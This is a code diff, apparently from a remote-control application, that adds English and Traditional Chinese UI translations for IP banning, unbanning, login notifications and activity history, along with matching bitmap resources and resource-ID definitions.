历史活动=Activity History
|
||||
封禁使用=Forbidden Client
|
||||
确定封禁选定的被控程序吗?=Are you sure to forbidden the selected clients?
|
||||
无结果=Not found
|
||||
@@ -1965,3 +1966,15 @@ FRPC Զ
|
||||
搜索日志=Search Logs
|
||||
隐藏搜索=Hide Search
|
||||
请=Please
|
||||
所选日志消息中未检测到有效的 IP 地址=No valid IP address detected in the selected log messages
|
||||
所有解析出的 IP 已在上线提醒列表中=All extracted IPs are already in the login notify list
|
||||
已添加 %d 个 IP 到上线提醒列表=Added %d IP(s) to login notify list
|
||||
封禁IP=Ban IP
|
||||
已封禁 %d 个 IP=Banned %d IP(s)
|
||||
%d 个 IP 已在黑名单中=%d IP(s) already in blacklist
|
||||
%d 个 IP 在白名单中,已跳过=%d IP(s) in whitelist, skipped
|
||||
未执行任何操作=No action taken
|
||||
解除封禁=Unban IP
|
||||
已将 %d 个 IP 从黑名单移除=Removed %d IP(s) from blacklist
|
||||
已恢复 %d 个客户端的授权状态=Restored authorization for %d client(s)
|
||||
未找到需要解除封禁的 IP=No IPs found that need unbanning
|
||||
@@ -1947,6 +1947,7 @@ FRPC Զ
|
||||
设置失败! 通常是权限不足, 请手动在系统环境变量设置。=设置失败! 通常是权限不足, 请手动在系统环境变量设置。
|
||||
运行日志=运行日志
|
||||
客户端日志=客户端日志
|
||||
历史活动=歷史活動
|
||||
封禁使用=封禁使用
|
||||
确定封禁选定的被控程序吗?=确定封禁选定的被控程序吗?
|
||||
无结果=无结果
|
||||
@@ -1956,3 +1957,15 @@ FRPC Զ
|
||||
搜索日志=搜索日志
|
||||
隐藏搜索=隐藏搜索
|
||||
请=请
|
||||
所有解析出的 IP 已在上线提醒列表中=所有解析出的 IP 已在上線提醒列表中
|
||||
已添加 %d 个 IP 到上线提醒列表=已新增 %d 個 IP 到上線提醒列表
|
||||
所选日志消息中未检测到有效的 IP 地址=所選日誌消息中未檢測到有效的 IP 位址
|
||||
封禁IP=封禁IP
|
||||
已封禁 %d 个 IP=已封禁 %d 個 IP
|
||||
%d 个 IP 已在黑名单中=%d 個 IP 已在黑名單中
|
||||
%d 个 IP 在白名单中,已跳过=%d 個 IP 在白名單中,已跳過
|
||||
未执行任何操作=未執行任何操作
|
||||
解除封禁=解除封禁
|
||||
已将 %d 个 IP 从黑名单移除=已將 %d 個 IP 從黑名單移除
|
||||
已恢复 %d 个客户端的授权状态=已恢復 %d 個客戶端的授權狀態
|
||||
未找到需要解除封禁的 IP=未找到需要解除封禁的 IP
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -277,6 +277,9 @@
|
||||
#define IDB_BITMAP_CLIENTLOG 395
|
||||
#define IDI_CLIENTLOG 396
|
||||
#define IDB_BITMAP_FORBIDDEN 397
|
||||
#define IDB_BITMAP_HISTORY_ACTIVITY 398
|
||||
#define IDB_BITMAP_VIEW_WND 399
|
||||
#define IDB_BITMAP_PROXY_AUTORUN 400
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -991,6 +994,9 @@
|
||||
#define ID_CANCEL_SHARE 33042
|
||||
#define ID_MSGLOG_COPY 33043
|
||||
#define ID_MSGLOG_SEARCH 33078
|
||||
#define ID_MSGLOG_LOGIN_NOTIFY 33079
|
||||
#define ID_MSGLOG_BAN_IP 33080
|
||||
#define ID_MSGLOG_UNBAN_IP 33081
|
||||
#define ID_WEB_REMOTE_CONTROL 33044
|
||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||
#define ID_33046 33046
|
||||
@@ -1025,14 +1031,15 @@
|
||||
#define ID_ONLINE_CLIENT_LOG 33074
|
||||
#define ID_ONLINE_33075 33075
|
||||
#define ID_ONLINE_FORBIDDEN 33076
|
||||
#define ID_ONLINE_HISTORY_ACTIVITY 33082
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 398
|
||||
#define _APS_NEXT_COMMAND_VALUE 33079
|
||||
#define _APS_NEXT_RESOURCE_VALUE 401
|
||||
#define _APS_NEXT_COMMAND_VALUE 33083
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
Reference in new issue
Block a user